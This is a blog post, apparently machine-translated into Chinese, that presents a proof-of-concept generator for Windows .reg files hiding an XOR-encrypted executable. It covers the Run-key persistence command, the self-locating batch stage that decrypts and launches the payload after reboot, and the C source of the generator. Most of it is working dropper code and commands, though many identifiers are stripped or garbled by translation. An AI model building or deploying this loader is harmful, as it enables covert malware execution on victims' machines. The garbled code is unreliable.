今年早些时候,我发布了一个名为“”的 PoC 项目 - 一个可以生成包含嵌入式 EXE 的 lnk 文件的工具。 与此项目类似,我还创建了一个工具来生成包含 EXE 的注册表 .reg 文件。
.reg 文件包含要导入的注册表项和值的纯文本列表,这意味着我们可以安排程序在下次启动时运行:
[\\\\\]
""="C:\\test\\.exe"
复制代码
由于 Run/ 键允许将参数传递给目标 EXE,因此我们可以使用它来执行脚本。 在最简单的形式中,可以在此处插入命令以从远程服务器下载并执行 EXE。 但是,与之前的 .lnk PoC 一样,如果您想更进一步,则无需额外下载。
首先将一些随机二进制数据附加到有效 .reg 文件的末尾,看看是否显示错误。 幸运的是,注册表项已正确导入,并且没有出现错误消息 - 当到达二进制数据时,它会默默地失败。 这意味着可以安全地将 EXE 附加到 .reg 文件的末尾。
现在我们有了一个主 .reg 文件,我们需要创建一个启动命令来执行嵌入式程序。 由于它将在下次重新启动后执行,因此我们遇到的第一个问题是不知道 .reg 文件存储在目标计算机上的位置。 我们不想对特定路径进行硬编码,因此我们将编写一个命令来在重新启动后在硬盘驱动器本身上找到 .reg 文件。
下一个问题是我们无法直接从 .reg 文件执行,因为 EXE 数据存储在文件末尾。 这意味着该命令还需要在执行之前从 .reg 文件中提取 EXE 数据并将其复制到单独的 .exe 文件中。
我创建了一个命令,该命令执行上面列出的所有操作 - 当直接从 cmd.exe 运行时成功,但在插入注册表项时根本不执行。 在花了一些时间调查此问题后,我发现 Run/ 注册表项的最大长度似乎约为 256 个字符。 如果值超过此长度,则会被忽略。 我的命令长度超过 500 个字符,这解释了为什么它最初不起作用。
您可以采取多种途径来解决命令长度问题,我决定在加载链中添加一个额外的“阶段”以获得最大的灵活性 - .reg 文件还将包含嵌入式 .bat 文件。 原始命令中的大部分逻辑将被移至 .bat 数据中,并且该值将包含一个极简命令来执行嵌入的批处理文件。
cmd.exe /c " - $reg = gci -Path C:\ - *.reg ^| where- {$_.-eq } ^| - -First 1; $bat = '%temp%\.bat';复制项目 $reg - $bat ^& $bat;"
复制代码
我还在为原始项目编写的 EXE 上使用了相同的基本 XOR 加密。
最终的 .reg 文件将具有以下结构:
复制代码
:
[\\\\\]
""="cmd.exe /c " - $reg = gci -Path C:\\ - *.reg ^| 其中 - {$_. -eq } ^| - -第1个; $bat = '%temp% \\.bat'; 复制项目 $reg - $bat; ^& $蝙蝠;""
\xFF\xFF
cmd /c " - $file = gc '%temp%\\.bat' - Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file [$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-) + '.exe'; sc $path ([byte[]]($file^| -Skip )) - 字节^& $路径;"
出口
复制代码
上面的示例文件可以分为3部分:
原始.reg数据
这将创建一个以 \\\\\ 键命名的值。 这将导致下次计算机启动时执行以下命令:
cmd.exe /c " - $reg = gci -Path C:\ - *.reg ^| where- {$_.-eq } ^| - -First 1; $bat = '%temp%\.bat';复制项目 $reg - $bat ^& $bat;"
复制代码
此命令在 C:\drive 中搜索与指定文件大小(在本例中)匹配的 .reg 文件来定位自身,然后将 .reg 文件复制到 TEMP 目录,将其命名为 .bat 并执行它。
该文件在初始 .reg 数据之后包含 \xFF\xFF - 这并不是绝对必要的,但我添加它是为了确保注册表导入解析器失败并在此时停止。
嵌入 .bat 数据
下一个数据块包含嵌入的 .bat 命令:
cmd /c " - $file = gc '%temp%\\.bat' - Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file [$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-) + '.exe'; sc $path ([byte[]]($file^| -Skip )) - 字节^& $路径;"
出口
复制代码
此命令从当前文件末尾提取主 EXE。 EXE 起始点的偏移量由生成器工具硬编码(在本例中为 640 字节)。 EXE被复制到TEMP目录,解密并执行。
注意:执行此 .bat 文件时,它还会在到达 .bat 内容之前执行原始 .reg 文件中的行。 这不应该产生任何不利影响,因为它们不是有效的命令。
嵌入.exe数据
最后一个数据块包含加密的.exe。
这种方法的主要缺点是需要管理员权限才能导入.reg文件,另一个缺点是直到下次重新启动才会执行,这意味着如果用户在此之前删除了.reg文件,它将不会执行。完全执行。 虽然这不是一个好的做法,但由于各种原因,.reg 文件通常仍然在组织内通过电子邮件进行内部共享,这意味着它们对于对手的模拟操作非常有用。
所有代码:
#
#
DWORD(字符*,字符*)
字符[1024];
字符[1024];
字符[64];
字节=0;
= 空;
= 空;
双字 = 0;
双字 = 0;
双字 = 0;
字节 * = 空;
双字 = 0;
双字 = 0;
字符[16];
字符值[16];
字节[1024];
// 设置异或值
= 0x77;
// 设置条目名称
(, 0, ());
(, "", () - 1);
//reg文件数据(0xFF位于第一个条目之后的末尾)
(, 0, ());
(, () - 1,
“\r\n”
“\r\n”
“[\\\\\\\\\\]\r\n”
""%s"="cmd.exe /c \\" - $reg = gci -Path C:\\\\ - *.reg ^| 其中- {$_.-eq } ^| - -First 1; $bat = '%%temp%%\\\\.bat'; 复制项目 $reg - $bat;\\""\r\n"
“\r\n”
“\xFF\xFF\r\n”
"\r\n", );
//bat文件数据
(, 0, ());
(, () - 1,
“cmd /c” - $file = gc '%%temp%%\\\\.bat' - 字节; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0xX }; $path = '%%temp%%\\tmp' + (Get-) + '.exe'; sc $path ([byte[]]($file ^| -Skip )) - 字节; ^& $路径;"\r\n"
"退出\r\n", );
//注册文件
= (, , 0, NULL, , L, NULL);
如果(==)
(“到文件\n”);
1;
//打开exe文件
= (, , 0, NULL, , L, NULL);
如果(==)
("打开exe文件\n");
// 错误
();
1;
// 保存exe文件大小
= (, 空);
// 文件总大小
= () + () + ;
(, 0, ());
(, () - 1, "0xX", );
//.exe文件
= - ;
(值,0,(值));
(值,(值)- 1,“u”,);
// 查找 -line 中总的 reg 文件的值
= (BYTE*)(, "_.-eq }");
如果(==空)
// 错误
();
();
1;
+= ("_.-eq ");
// 价值
((void*), (void*), ());
// 查找该行中要跳过的字节值
= (BYTE*)(, "-跳过)");
如果(==空)
// 错误
();
();
1;
+= (“-跳过”);
// 价值
((void*), (void*)值, (值));
// 写
if((, (void*), (), &, NULL) == 0)
// 错误
();
();
1;
// 写
if((, (void*), (), &, NULL) == 0)
// 错误
();
();
1;
// exe文件到reg文件末尾
为了(;;)
// 从exe文件中读取数据
if((, , (), &, NULL) == 0)
// 错误
();
();
1;
// 检查文件末尾
如果(==0)
休息;
// "" exe文件数据
for(DWORD i = 0; i < ; i++)
[i]^=;
// 将数据写入reg文件
if((, , , &, NULL) == 0)
// 错误
();
();
1;
// 关闭exe文件
();
// 关闭文件
();
0;
int main(int argc, char *argv[])
字符 * = NULL;
字符 * = NULL;
(" - \n\n");
if(argc!= 3)
("用法: %s [] []\n\n", argv[0]);
1;
// 得到
= argv[1];
= argv[2];
// 一个reg文件exe
如果((,)!= 0)
(“错误\n”);
1;
(“\n”);
0;
复制代码
注册,